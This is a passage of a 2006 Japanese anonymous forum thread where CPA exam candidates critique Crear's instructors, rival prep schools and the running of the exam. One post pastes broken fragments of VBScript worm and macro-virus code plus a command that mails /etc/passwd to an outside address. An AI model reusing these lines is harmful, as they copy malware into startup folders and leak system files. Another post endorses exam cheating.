あぼーん
あぼーん
178:一般に公正妥当と認められた名無しさん
06/08/19 01:49:11
堀江さん良さげだけど、短答対策とかはどうなの？
179:あぼーん
あぼーん
あぼーん
180:あぼーん
あぼーん
あぼーん
181:あぼーん
あぼーん
あぼーん
182:あぼーん
あぼーん
あぼーん
183:あぼーん
あぼーん
あぼーん
184:あぼーん
あぼーん
あぼーん
185:あぼーん
あぼーん
あぼーん
186:一般に公正妥当と認められた名無しさん
06/08/19 20:28:13
荒らしてるのはスタ乙
中国もびっくりの言論統制ですね
頭の中は新規顧客の囲い込みのみ
少しは既存の生徒の側に立って考えてみてはいかがか
187:一般に公正妥当と認められた名無しさん
06/08/20 07:42:28
test
188:一般に公正妥当と認められた名無しさん
06/08/20 10:18:45
>>186 同意
この学校のスタッフは信用出来ない。
2006年クレ本科生は、合格する人（そんな奴いるのか？）以外で何人残るんだろうな
95％は転校すると思う。
189:一般に公正妥当と認められた名無しさん
06/08/20 11:45:40
工作員乙ｗ
190:一般に公正妥当と認められた名無しさん
06/08/20 18:13:00
クレアール登場人物
財務会計論（簿記）
森山・・・連結会計担当。ただし、連結が苦手。きもい。だが、わかりやすく教える努力はしている。
竹森・・・個別論点担当。ですます調を使わない。2007年の神の予感。
財務会計論（財務諸表論）
石井(弟)・・・非常識合格法提唱者だが、他校と比べて講義や答練習が20%増しくらい多い。
テキストは他校の1/4程度だが、定義をそのまま丸暗記させるため、負担は大きい。
講師を批判する人間はたとえ合格しても、その後も批判人生を送ると受験生に助言している。
その割に自身はアクセル野坂をよく批判している。
管理会計論
中村・・・元TAC講師。無駄な話が多い。説明がテキスト棒読み。講師としての能力は低い。2007年担当。
安井・・・2006年まで担当。神戸大学助教授に就任のため、クレアールを辞職。配合差異などのいわゆる安井図が有名。
五十嵐・・・黒い。クビになった。
企業法
石井(兄)・・・会計士界の若貴兄弟である。石井兄弟。やはり兄はこちらでも目立たない。
テキストや講義の内容はそこそこである。ただし、講義が致命的に聞き取りにくい。
監査論
堀江・・・日本大学教授。クレアールの看板講師。他校の1/4程度のテキストで、高得点の答案を
作ることが出来ると評判の講師。短期間で仕上げるという目的では、他校の追随を許さない。
試験委員の八田と友達。そもそも、堀江自身が試験委員に指名されそう。人間性も良いことで有名。
ただ、本人はクレアールを辞めたがっている。
平林・・・アイドル会計士。しかし年齢は30代。講義はテキスト棒読みである。自身が出版している、
演習セレクトの評価は高い。ただ、受講生の評判が悪く、2007年は講義を担当しない予定。 別称ひらりん。
工作員・・・ベテラン受験生。ヴェテにつらく当たる石井に恨みを持っている。
スタッフ・・・クレアール運営。受講生「ネットの掲示板にひどいこと書かれていますよね。」
クレアール運営「あんなひどいこと書かなくてもね。」
191:一般に公正妥当と認められた名無しさん
06/08/20 18:25:52 e/0MrKkw
租税法
成澤…元LECで三次試験の講師。開講前は神との噂が流れたが、終わってみればちんたらとしたつかみ
所のない授業が不評だった。誤植は多い。 だが、2007年講座に入って、改善しようとしている努力は見られる。
評価は今年度の論文以降。
経営学
藤原…クレ講師の中では比較的影が薄い。テキストも半端じゃなく薄い。が、中身はギチギチに文字が並び圧倒される。
馬場…ヤマ当て師。04は大当たり、05は大外れ。親身ではあるが、強気な発言がきもいとの評価も。
統計学（2006年テキストを見ての感想。講義は受講していないのでわかりません）
比佐…神。まさに神という名がもっともふさわしい講師。比佐統計学をマスターすれば、100点満点は確実である。
ただし、あまりに神であるがために、会計士受験生の中でも選ばれた1000人に1人しか、その真髄を極めることが
できない。（国立理系大学院生だと10人に1人ぐらいか？）他校の統計学は所詮、一般教養であるが、比佐統計学を
マスターできれば将来学者も夢ではない。アクチュアリー試験も楽々突破できる。
合格後、比佐統計学で合格しましたと言えば、羨望のまなざしで見られることは間違いない。
とにかく神である。常人ではやけどする。
比佐先生には驚いた。簡単なことをこんなに難しく書けるなんてと・・・
192:一般に公正妥当と認められた名無しさん
06/08/20 18:59:26 yC8Kt4Gr
＞今朝、速達で答案が返却されてきました。
＞昨日の電話でお昼過ぎに財表の答案の採点が終了するということだったのですが、その分も返送されてきました。
＞別便だったので、郵送料だけでも結構かかっていると思います。
＞私と同じような対応をとらざるを得なかった人はどのくらいいるのでしょうかね。
＞
＞成績表はまだ手元にありません。
＞
＞企業法や経営が合計で100点を超えていたのですが、これは200点満点での採点をしているのでしょうか？
＞と、ここで書いたところで、誰も教えてはくれないので、成績表がきて、不明であれば問い合わせするかもしれません。
＞もっとも、本試験２日前で模試の成績を知ったところで、仕方ないので、問い合わせはしないかもしれませんが。
＞
＞もし、200点満点で採点して、総合成績しか出していないのであれば、よく分からない結果になってしまうのですかね？
＞企業法と経営学が得意な人は模試の結果もよくなってしまうとか。
＞私の答案なんて、最後の方に採点されているはずなのに、どうなっているのでしょうか？
＞途中で修正ができなくなってしまったのでしょうか？
＞
＞答練の成績処理のずさんさ、テキスト･答練の誤植、財表、監査の答練の返却が非常に遅いとか
＞いろいろなデメリット・不備を覚悟の上、今年もAXLを中心にしていましたが、
＞今年のAXLの直前期は不手際が多かったように感じます。
＞短答の直前には、証取法対策で弁護士の講師の方の講義だけでなく、
＞近藤講師も講義をしたりして、受験生に過重な負担をかけたり、
＞私にとっては、DVDの不良が1件、未送が1件発生したり、監査論の補講のタイミングが非常に遅かったり、
＞それで、今度の公開模試です。どうしちゃったんでしょうかね？
＞
＞事務の方はトラブルの発生ごとに丁寧な電話対応をしていただいたので、
＞不満が溜まることはあまりなかったですが、こう書いてみると結構ひどい学校だったなという気がしてきました。
193:一般に公正妥当と認められた名無しさん
06/08/20 20:00:34 8JnFig3n
思うに、中村は語り口調に問題があるのでは？
一聴して「自信なさげ」って感じなんだよね。
他科目に比べて寝てる人も多いし。
財表の石井や租税の成沢は、中身の良し悪しはともかく、
語気は強くて自信ありげ。
いかにも講師向きって感じ
もちろん「中身の良し悪しはともかく」と書いたけど、
そこが一番大事なんだけどさ。
少なくとも、頼りなさげで、かつ受講生の眠気を誘うようでは
ダメではないかな。
194:一般に公正妥当と認められた名無しさん
06/08/20 20:28:37
>>193
「思うに」って、かっこいい言い方だな。
あー、でも確かに・・・語り口調はそうかも。
情報量も違うことない？
なんだかんだ言って、財表の石井は１回での講義の情報量が多いような気もする。
中村はなんか、トロトロしているんだよな。説明で話しているのは簿記１級レベルの内容だし、
かといって、特別わかりやすかったり、興味を引くような話し方でもない。
あと、石井はまさに石井教祖で、「信じるものは救われる」という感じの講義だな。
とりあえず、受講生は耳を傾けると思う。信じるかどうかは別として。
195:一般に公正妥当と認められた名無しさん
06/08/20 21:34:06 e/0MrKkw
中村管理会計論より、比佐統計学のほうがはるかに上のようです。
まさに非常識比佐統計学。100点を取る気か？
196:一般に公正妥当と認められた名無しさん
06/08/20 22:18:05
>>194
一行目を見て察すると初学者か。
「思うに」は企業法の常套句だ。
石井を信じて今年受かった者がどれだけいるか。
そのほとんどが07目標として再スタートしている現実がある。
197:一般に公正妥当と認められた名無しさん
06/08/21 01:12:17
結構受かってるじゃん
198:一般に公正妥当と認められた名無しさん
06/08/21 01:16:31
あぼーんのところはどんなことが書かれていたのでつか？
199:一般に公正妥当と認められた名無しさん
06/08/21 01:18:50
今年は５～６割受かったと聞いた。
200:一般に公正妥当と認められた名無しさん
06/08/21 01:21:24
>>198
>>196みたいな、
工作員きもいと書かれていた。
201:一般に公正妥当と認められた名無しさん
06/08/21 11:48:02
スタッフ乙がずっと荒らしてたよ
どうやって変えたんだか...
202:一般に公正妥当と認められた名無しさん
06/08/21 13:36:26 RcjPMT1R
k
203:一般に公正妥当と認められた名無しさん
06/08/21 23:47:18 /UbDsBPd
明日から始まる論文式、確実に取るために今年は特定科目だけの合格を狙っていこうかと思います。
その場合、もしも合格を考えている科目以外を受けなかった場合どうなるんでしょうか。
試験自体が無効となってしまうんですかね。
明日は監査だけを取りに行きます。なので、租税は受けないで帰ろうかとも思うんですけど・・・。
204:一般に公正妥当と認められた名無しさん
06/08/21 23:52:34
あくまでも一括合格が基本って公言されてるから
特定の科目だけ激ムズにしたりして
悪質な得点調整されたりすることもあるだろうな
205:一般に公正妥当と認められた名無しさん
06/08/22 00:24:00
>>198
AA連投荒らしだった
206:一般に公正妥当と認められた名無しさん
06/08/22 01:10:38
ＡＡ連投って？
207:一般に公正妥当と認められた名無しさん
06/08/22 14:23:19
GTOに出てた数学だかの先生、ちょっと森山先生っぽくない？
なんとなく顔つき
208:一般に公正妥当と認められた名無しさん
06/08/22 16:38:50
>>207
っぽい！！ｗｗ
209:一般に公正妥当と認められた名無しさん
06/08/22 18:09:38
論文試験の感想がないところから、短答でほとんど散ったのは真実なのか。
210:一般に公正妥当と認められた名無しさん
06/08/22 18:13:07
監査論、堀江で対応できた？
211:一般に公正妥当と認められた名無しさん
06/08/22 18:22:19 rqAKo2hA
充分でしたよ。
212:一般に公正妥当と認められた名無しさん
06/08/22 19:42:59 5NVLyco4
ここにいるのは短答落ちヴェテのみだから。
213:一般に公正妥当と認められた名無しさん
06/08/22 19:59:01
おまえたち、クレテキストもったﾔﾂ試験場でうるさすぎ。
仲良しなのはよくわかった。
214:一般に公正妥当と認められた名無しさん
06/08/22 22:04:00 4czPyMDR
監査の第７問は満点の自信ありまっす！
でも、みんなも満点だよね？
ハイレベルな競争になりそう・・。
215:一般に公正妥当と認められた名無しさん
06/08/22 22:54:27
>>214
模範解答さらしてください。
216:一般に公正妥当と認められた名無しさん
06/08/23 14:06:12 pY3p8Crl
明日は財表の答練があるじゃん
217:一般に公正妥当と認められた名無しさん
06/08/23 15:54:54
解答速報が出るまで模範解答をさらすことはできません
なぜならクレ礼賛はスタッフの仕事なので
218:一般に公正妥当と認められた名無しさん
06/08/23 19:05:51
工作員乙ｗ
219:一般に公正妥当と認められた名無しさん
06/08/23 22:05:53 BS+D7w6I
今日は1日会計学でした。みなさん予想通りの展開だったのでは、財務会計3時
間・管理会計2時間、やはりこれが妥当でしたね。
さて、管理会計ですが、部門別では割り切れた人と割り切れない人とが別れて
いるようです。ポイントは工場長の給料ですね。「どの部門にも属しない」と
いう記述から一般費と判断した人が多かったのではないでしょうか。この問題
を最初に回答した人は時間を使いすぎてしまったと思います。
財務会計論については、簿記と簿記と財表の混合、そして財表でした。簿記は
そんなに難しくないのではないでしょうか。連結の問題も計算自体はそこまで
解答が出来ないものではない。
やはり、財表だったのではと思います。今回は財表から解いた人は時間が思っ
たよりかかり、1問目の簿記の時間が減ってしまったのではと思います。
これらを総合すれば5割も取れれば合格かと・・・。
220:一般に公正妥当と認められた名無しさん
06/08/24 13:35:59
もうだめぽ
転校します
221:一般に公正妥当と認められた名無しさん
06/08/24 18:13:48
全然論文の話題がでてこない・・・
アクセルは的中しまくってるという話なのに・・・
222:一般に公正妥当と認められた名無しさん
06/08/24 18:31:19 PAenwLlN
TAC＝大原＝アクセル＞＞＞＞＞＞＞＞＞＞＞＞＞クレアール＝LEC＝Wセミナー＝ICO＝東京CPA
だから仕方ない。
223:一般に公正妥当と認められた名無しさん
06/08/24 18:42:11
石井先生が2ちゃんやってるようじゃ受からないって言うから･･･
224:一般に公正妥当と認められた名無しさん
06/08/24 18:52:02
>>223
２やんねらーで優秀な奴なんぞ腐るほどいるし。
石井がクレの悪口書かせないためにいってるだけ。
225:一般に公正妥当と認められた名無しさん
06/08/24 18:59:26 ciCISh89
クレ=レックなわけない
レックが4番手
226:一般に公正妥当と認められた名無しさん
06/08/24 19:03:12
>>225
とりあえず氏ーーーーーーーーーーーーーーね
227:一般に公正妥当と認められた名無しさん
06/08/24 19:10:04
受講生の数だったらクレは3番手。
合格者数なら>>222に異存はない。
228:222
06/08/24 19:15:19 PAenwLlN
クレアール以降は誤差ってことさ。いろんな意味で。
229:一般に公正妥当と認められた名無しさん
06/08/24 19:33:43
論文終わったので、レスが増えてるなと思ったら・・・・orz
230:一般に公正妥当と認められた名無しさん
06/08/24 22:54:28
工作員乙ｗ
231:一般に公正妥当と認められた名無しさん
06/08/24 22:56:16
スタッフ乙ｗ
232:一般に公正妥当と認められた名無しさん
06/08/24 22:58:13
,-'"ヽ
/ i､ ／￣￣ ヽ, ＿/＼／＼/＼／|＿
{ ﾉ "' ゝ / ', ＼ ／
／ "' ゝﾉ {0} /¨`ヽ{0} ＜ ニャーン！！ ＞
/ ヽ._.ノ ', ／ ＼
i ｀ー'′ '. ￣|／＼/＼/＼/￣
/ }.
i' /､ ,i..
い _／ `-､.,, ､_ i
/' / _/ ＼`i " /ﾞ ./
(,,／ , ' _,,-'" i ヾi__,,,...--t'" ,|
,/ ／ ＼ ヽ､ i |
(､,,/ 〉､ ､,} | .i
`` ` ! ､､＼
!､_n_,〉>
,..､_ _ ＿_ ..,,__ _,, ,,_ _ __
l ./====／ ＼| .l ,､| ./ , ､ ＼''ﾞ <.| i=' `l ヽ＼ _ 7 フ,、
/ /.l`‐- ﾞ､| |＝| .i- l ./＝ ,＞ ／,_､.ﾉ| |.| !∧.| l' !､`'ﾞ _,,,..ゝ_,、
. / |.| || | | |.|`' __'`ﾉi､l / / 二| /'ﾞ∠,,> = 'ﾞl .| ﾞ７ .l ∠~_,,,,.）
~| |.| !! |.| .|.| | | .|ヽ. ./ .ﾌ ＜'ヾﾌ / .| .| ／!./ /_ ﾞ
| .|.!-'`二l .|| |._| .|/ `‐- /,､ |ﾞ､ﾉ.> '-┐､ `.-‐'' .// ./ ヽﾞ‐---‐､
|_,,,| ＼_丿!-‐'＞,.-'ﾞ~`､／ ` |_,,l／-‐'ﾞ‐､_| `‐- -‐' ヽ_/ `‐- - ‐'
233:一般に公正妥当と認められた名無しさん
06/08/24 23:58:13
何故殺した！！！！！！！！！！！！！！！！！！！！！！！
234:一般に公正妥当と認められた名無しさん
06/08/25 00:07:52
何故！！！！！！！！！！！！！！！！！！！
235:一般に公正妥当と認められた名無しさん
06/08/25 00:08:24
殺した！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！
236:一般に公正妥当と認められた名無しさん
06/08/25 07:50:21
クレの合格率は、業界ナンバーワンの低さ
237:一般に公正妥当と認められた名無しさん
06/08/25 08:37:56 iBZMrpsv
実質の合格率はTのほうがはるかに低いだろ・・・同じ時期に申込みした人結構やめてるよ。
238:一般に公正妥当と認められた名無しさん
06/08/25 20:28:04 UrNsYnrg
租税の先生さ、答練の最終回でサンプル問題を配るとき、
欲しがってる生徒がいるので仕方なく配るけど、糞みたいな問題だから参考にならない、
って言ってたけど、的中したな。
今年の租税はｸﾚの勝ち?
239:一般に公正妥当と認められた名無しさん
06/08/25 23:15:29
2007DVD通信だけど、選択科目は経営なんかが配送されてるのに経済はまだなのはなんで？
生授業でもやってないのかな。分量的には経済のほうが多いって書いてあるんだけど始まる時期は経済のほうが遅いのかな。
まぁそれはともかく、みなさんお疲れ様でした。
240:一般に公正妥当と認められた名無しさん
06/08/25 23:47:23 eYaRBZsJ
07の簿記と管理会計のテキストは06と内容は結構変わっているのですか。会社法関係は多いのかなあ。
241:一般に公正妥当と認められた名無しさん
06/08/26 00:02:59
>>240
手元にテキストあるので簡単なことぐらいならお答えできますよ
242:一般に公正妥当と認められた名無しさん
06/08/26 01:20:24 /Qe1pgEG
簿記の問題集まだでしょうか
っていうか、ありえない
243:一般に公正妥当と認められた名無しさん
06/08/26 01:30:47
生授業のほうも配られてないの？
244:一般に公正妥当と認められた名無しさん
06/08/26 10:03:28
>>242
問い合わせろ
そして氏ーーーーーーーね！
245:一般に公正妥当と認められた名無しさん
06/08/26 15:10:05
>>242=243
自作自演
246:一般に公正妥当と認められた名無しさん
06/08/26 23:39:59
クレアールの比佐先生。経済学の講師をしていた時は評判が悪かったって本当？
比佐先生。統計学では神のような講義をしているぞ。
めちゃくちゃわかりやすい。正直、統計学に関しては予備校会No.1じゃないだろうか。
テキストをみたら、正直、他校に比べて難しすぎると思うが、
その難しい概念を的確に説明している。
今年は結局、サンプル問題以上の難易度だったし、今後は証明問題も多く出題される
かもしれない。今後、難易度が上がれば上がるほど、比佐統計学は鋭さを見せつける。
ただし、統計学、確率論の初学者にはちょっときついかもしれない。
まさに管理会計論でいったら池邊のような感じだ。
初学者にはきついが、そこそこ知識があれば、他校受験生を寄せ付けないレベルに達することができる。
247:一般に公正妥当と認められた名無しさん
06/08/27 00:04:29 2qpLW0OM
Ｆ原の去年の直前期のテキストに救われたよ。
内部化理論、本試験そのまんまでてたし…
それに比べて財のつく２科目はorz
248:一般に公正妥当と認められた名無しさん
06/08/27 09:17:20
財表と財務（経営）？馬場氏はまたやっちゃったの？
249:一般に公正妥当と認められた名無しさん
06/08/27 10:16:27 wzyhCAbx
馬場氏はやっちゃってはいないけど、ＴＡＣが先物の値動きを授業でやってたから勝ててはいないと思う。
管理会計分野をなぜか財務論でやってたのは当たったけど、
あの問題じゃ簡単すぎてやらなくても同じようなもんでしょ。
もう１つの財はこの前の基礎期の授業で
『今年も当てちゃいました』
と発言していたらしいけど、なにがどう当たったか説明しろって感じ
(-_-#)
250:一般に公正妥当と認められた名無しさん
06/08/27 15:36:01
カリスマ(笑)
251:一般に公正妥当と認められた名無しさん
06/08/27 23:05:12
工作員乙ｗｗ
252:一般に公正妥当と認められた名無しさん
06/08/27 23:12:41
>>251
ばか乙ｗｗ
253:一般に公正妥当と認められた名無しさん
06/08/28 00:01:45
↑
セオリーを無視するんじゃないよハゲ。
254:一般に公正妥当と認められた名無しさん
06/08/28 00:56:46
>>253
ばか乙ｗｗ
255:一般に公正妥当と認められた名無しさん
06/08/28 14:28:31
カリスマクソ講師だらけの学校はここですか？
256:一般に公正妥当と認められた名無しさん
06/08/28 18:00:13 DPb7Pkue
比佐先生が真のカリスマです。
257:一般に公正妥当と認められた名無しさん
06/08/28 20:26:30
監査論、
クレ堀江さんにするか、アク野坂さんにするか迷い中。
どっちがいいべ
258:一般に公正妥当と認められた名無しさん
06/08/28 21:08:40
そりゃ、当然、野坂だ。
クレアールは相対的に堀江がよく見えているだけ。
堀江は量が少なすぎて、論文が危ないよ
259:一般に公正妥当と認められた名無しさん
06/08/28 21:12:22
で、でも、堀江さんって教授でしょう？
すごいんじゃないの。
260:一般に公正妥当と認められた名無しさん
06/08/28 21:13:46
全体的な評判は
堀江＞野坂
だけどな
261:一般に公正妥当と認められた名無しさん
06/08/28 21:22:34
今年に限れば野坂＞堀江か。
262:一般に公正妥当と認められた名無しさん
06/08/28 21:22:53
で、今年は堀江教授でどうだったんですか？
263:一般に公正妥当と認められた名無しさん
06/08/28 21:42:38
堀江はハズレまくり。クレの合格率の低さが全てを物語っている。
野坂はLEC池部が先生と呼んでいるくらいだからな。
クレなんてカスだよカス。
野坂先生が神。
264:一般に公正妥当と認められた名無しさん
06/08/28 21:45:03
クレアールは今後は比佐先生の時代だからな。
経済学は評判が悪かったけど、統計学になってから、神のような講義だよ。
比佐＞＞＞＞＞＞＞＞＞石井＝堀江＝竹森＞＞＞森山＞＞＞＞＞＞＞＞＞＞＞中村
265:一般に公正妥当と認められた名無しさん
06/08/28 22:44:31
野坂は志保＝無資格者だぞ。信用出来んな。
266:一般に公正妥当と認められた名無しさん
06/08/28 22:47:25
>>265
合格者をたくさん出していれば、講師の経歴は関係ないお
267:一般に公正妥当と認められた名無しさん
06/08/28 22:51:20
はいはい、では信者さん来年も頑張ってね
268:一般に公正妥当と認められた名無しさん
06/08/28 23:05:09
堀江さんアクセル移籍せんかなー
あっちは商法とか管理も評判良いし
こっちの単科で取るには高すぎる
269:sage
06/08/29 01:07:49 PWExfR3B
今年の堀江の監査はどうなのかね
270:一般に公正妥当と認められた名無しさん
06/08/29 02:43:45
ひさ先生が神に…
人柄がいいからカリスマ交代だね。
カリスマはもう引退してくれ。
271:一般に公正妥当と認められた名無しさん
06/08/29 03:29:45 DF9Z4CNO
比佐先生の統計学はまじでいいぞ。
冗談抜きで、堀江先生とツートップだ。
初学者にはきついと思うが・・・
人柄いいんだー。
比佐先生、統計学の授業ではやたらと生き生きしている。
272:一般に公正妥当と認められた名無しさん
06/08/29 03:32:02
堀江。伝説の最低講師、比佐と同じだなんて、
やっぱりクレアールってレベル低いね。
273:一般に公正妥当と認められた名無しさん
06/08/29 03:36:29
比佐経済学に泣かされた人間が何人いることか・・・
274:一般に公正妥当と認められた名無しさん
06/08/29 03:43:37
俺、初めての時大原で経営が鈴木通温だった。
物凄くわかり難く、先生もやる気があるようには感じられなかった。
翌年、鈴木先生は原計になった（戻った）らわかりやすい、
先生も別人のように生き生きしてた。比佐もこのタイプかもしれん。
275:一般に公正妥当と認められた名無しさん
06/08/29 16:31:51
>>150
工作員乙
276:一般に公正妥当と認められた名無しさん
06/08/29 16:54:08
>>275
亀乙
277:一般に公正妥当と認められた名無しさん
06/08/30 19:28:24
堀江神の講義DVDが来たぁぁあ
278:一般に公正妥当と認められた名無しさん
06/08/30 21:00:48
堀江は過大評価されすぎ。
堀江が神なのは入門生だけ
279:一般に公正妥当と認められた名無しさん
06/08/30 22:11:09
そうだよね。
結局、合格点ぎりぎりにしかならない。
クレアールは全て、守りの科目だから、一科目でも落としたら即死。
280:一般に公正妥当と認められた名無しさん
06/08/30 22:56:16
工作員乙ｗ
281:一般に公正妥当と認められた名無しさん
06/08/31 00:20:40
クレ生自身も他にまともな講師がいないから、まだ普通の講師である堀江に頼るしかないだけのこと。
アクセル野坂の講義を聞いたら、財表監査はクレじゃだめだって、思うことになるよ
282:一般に公正妥当と認められた名無しさん
06/08/31 00:33:23
野坂信者がのさばってるなｗ
283:一般に公正妥当と認められた名無しさん
06/08/31 00:35:25
監査は堀江さんの講義しか受けたことがないからよく分からんが
財表はちょっと最近の基準改訂についていけてないような気もするな
ちなみに監査は堀江さんで十分。テキストは必要十分だし、答練も質が高い
284:一般に公正妥当と認められた名無しさん
06/08/31 01:11:17
おっさん対談！
URLﾘﾝｸ(www.crear-ac.co.jp)
285:一般に公正妥当と認められた名無しさん
06/08/31 01:33:03
>>283
スタッフ乙
監査は無難にTAC南だよ。
間違いない。
286:一般に公正妥当と認められた名無しさん
06/08/31 01:38:33
南も聞いたことあるけど正直微妙だなｗ
287:一般に公正妥当と認められた名無しさん
06/08/31 01:41:27
>>285
> スタッフ乙 くると思ったよ
しかしよく考えてみろ。スタッフなら財表マンセーじゃなきゃおかしいだろ
正直財表についてはオブラートに包んで書いただけで本当は（ｒｙ
暗記偏重は良くないよね＾＾
288:一般に公正妥当と認められた名無しさん
06/08/31 02:07:36
>>287
なるほど。
スタッフ乙
289:一般に公正妥当と認められた名無しさん
06/08/31 02:13:08
工作員乙ｗ
290:一般に公正妥当と認められた名無しさん
06/08/31 02:24:10
スタッフ＆工作員＆中村乙
291:一般に公正妥当と認められた名無しさん
06/08/31 02:26:16
>>288
口癖なのか。なら仕様がないな
292:一般に公正妥当と認められた名無しさん
06/08/31 09:34:33
クレはいきなり申し込みするんじゃなくて、体験講義とかうけろ。
そのときに他校のもうけてみろ。
そうすれば、クレがどんなにレベルの低い学校かわるだろう。
わからないやつは馬鹿。ベテになる要素あり。
293:一般に公正妥当と認められた名無しさん
06/08/31 09:42:02
クレはいきなり申し込みするんじゃなくて、体験講義とかうけろ。
そのときに他校のもうけてみろ。
そうすれば、クレがどんなにレベルの高い学校かわるだろう。
わからないやつは馬鹿。一発合格できる要素あり。
294:一般に公正妥当と認められた名無しさん
06/08/31 23:29:07
/ヽ , なんなんだこの学校
/´ ｀´ | /ヽ_____／l
'､ ,l / '､
/￣ ,_,..ノ l l マジ金返せよ...
/ '､ _,ゝ _,.ﾉ
/ , ヽ ∬ｌ´ `ヽ
| /`ヽ､`'‐‐-､日| | ∬
ｌ '｀ `￣_,.' ヽｌ ｉ / ｌ, 、 日
ヽ､＿_,. -‐ '' ´ .ヽ`' | ｌ.,_,! /
ヽ ' /
`､.,____ ,. ′
295:一般に公正妥当と認められた名無しさん
06/09/01 00:09:24
/ヽ , ここって良い学校だよね
/´ ｀´ | /ヽ_____／l
'､ ,l / '､
/￣ ,_,..ノ l l ホントホント...
/ '､ _,ゝ _,.ﾉ
/ , ヽ ∬ｌ´ `ヽ
| /`ヽ､`'‐‐-､日| | ∬
ｌ '｀ `￣_,.' ヽｌ ｉ / ｌ, 、 日
ヽ､＿_,. -‐ '' ´ .ヽ`' | ｌ.,_,! /
ヽ ' /
`､.,____ ,. ′
296:一般に公正妥当と認められた名無しさん
06/09/01 21:03:38 0HApgQBr
監査で堀江は「監査の引継ぎ」が狙われる可能性大と何回も講義中に言ってたけど、ズバリ当たったね
297:一般に公正妥当と認められた名無しさん
06/09/02 18:22:56
粘着ハゲ乙ｗ
298:一般に公正妥当と認められた名無しさん
06/09/02 19:02:23
（´,_ゝ｀）ﾌﾟｯ
299:一般に公正妥当と認められた名無しさん
06/09/02 19:56:51
ｽﾚﾘﾝｸ(exam板:647番)
300:一般に公正妥当と認められた名無しさん
06/09/02 21:59:23
こんなのが別スレッドに貼られていた
クレアール中村（管理会計論）の講義が希望と比べて（とりあえず一部ね）
（・∀・）とこ
なし
(´･ω･`)ｼｮﾎﾞｰﾝなとこ ← 希望受けてたら無問題
・講義はテキストを棒読み
・講義は雑談が多い
・電卓の使い方が良くわかっていない
・そもそも原価計算が良くわかっていない
・実務家であるため、実務の沿った講義を期待されていたが、昨年度合格者のほうが知識がある。
(； ・`д・´) !? (`・д´・ (`・д´・ ；)なとこ
・問題集の問題が簿記１級レベル。下手したら簿記２級レベル
301:一般に公正妥当と認められた名無しさん
06/09/02 22:09:54
異議なし
302:一般に公正妥当と認められた名無しさん
06/09/02 22:16:47
ＬＥＣ池辺の講義が希望と比べて（とりあえず一部ね）
（・∀・）とこ
・内部副費の論点が深い
・定時外の処理を説明してくれる
・ＡＢＣの論点が深い
・総合原価計算の仕損・減損の論点が深い 等
(´･ω･`)ｼｮﾎﾞｰﾝなとこ ← 希望受けてたら無問題
・外注処理の論点が浅い
・補助部門費配賦の論点の説明があっさり終わる 等
(； ・`д・´) !? (`・д´・ (`・д´・ ；)なとこ
・材料返還の処理が違う 等
303:一般に公正妥当と認められた名無しさん
06/09/02 22:25:17
早稲田の２００人くらいの教室で企業法を準備ができたからといって本来の開始時刻１０分前に開始して２～３分後に『やっぱりやめてくださーい』って取り止めた問題は何の措置もなしですかね？
つまり８分くらい問題を知った状態で待機してたと。企業法でそれって落ち着いて答案構成できちゃうよね…けっこうでかいよね。
304:一般に公正妥当と認められた名無しさん
06/09/02 23:34:34
簿記の問題集きますた
305:一般に公正妥当と認められた名無しさん
06/09/03 00:03:00
>>303
マジでそんなことがあったのか？
本当だとしたら大問題だろ
306:一般に公正妥当と認められた名無しさん
06/09/03 00:05:34
10時22分に立会官が時計を見る
↓
立会官なぜか（やべ！20分からなのに２分過ぎてる！！）
↓
「すいません２分すぎちゃったんですけど始めてください・・・」
↓
直後に（あれ？ち違うじゃん30分からじゃん！！！！）
↓
「すいませんやっぱり止めてください！」
結果：一行問題なので全員問題把握・30分までの８分間じっくり脳内答案構成
307:一般に公正妥当と認められた名無しさん
06/09/03 00:35:46 cllnHd8a
>>306
それ、本当だとしたら大問題
308:一般に公正妥当と認められた名無しさん
06/09/03 01:08:35 4V9+SptJ
>>307
去年の論文で似たようなことあった。
外見は簿記なのに、問題は経営学だった。
309:一般に公正妥当と認められた名無しさん
06/09/03 01:24:19
つ朝日新聞
310:一般に公正妥当と認められた名無しさん
06/09/03 01:36:53
今年の論文は解答用紙を回収してからの確認作業にもずいぶん時間をかけてたし色々問題があったみたいだな
部屋ごとにその時間にも差があっただろうから受験者間の公平が保たれてないワナ
311:一般に公正妥当と認められた名無しさん
06/09/03 10:35:17
試験管みんなバイトだしね。金融庁の社員とかじゃない
税理士の財表の時なんかカンニングしてるオッサンいたよ
312:一般に公正妥当と認められた名無しさん
06/09/03 10:55:50
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
fso.copyfile "dirsystem&nurupo.vbs","j:\windows\startmenu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFilef1.path, f1.path+"
313:一般に公正妥当と認められた名無しさん
06/09/03 14:03:12 alwkTxQl
受かっちゃえば何位で受かったのか関係ないし。
カンニングで見つからずに合格勝ち取るのもある意味リスクを負った手段の一つだろ。
今年はそのリスクが現実化したものがいたそうだが。
314:一般に公正妥当と認められた名無しさん
06/09/03 14:45:57
そんなことやってたら職業倫理に欠ける会計士が増えそうな悪寒
315:一般に公正妥当と認められた名無しさん
06/09/03 15:26:01
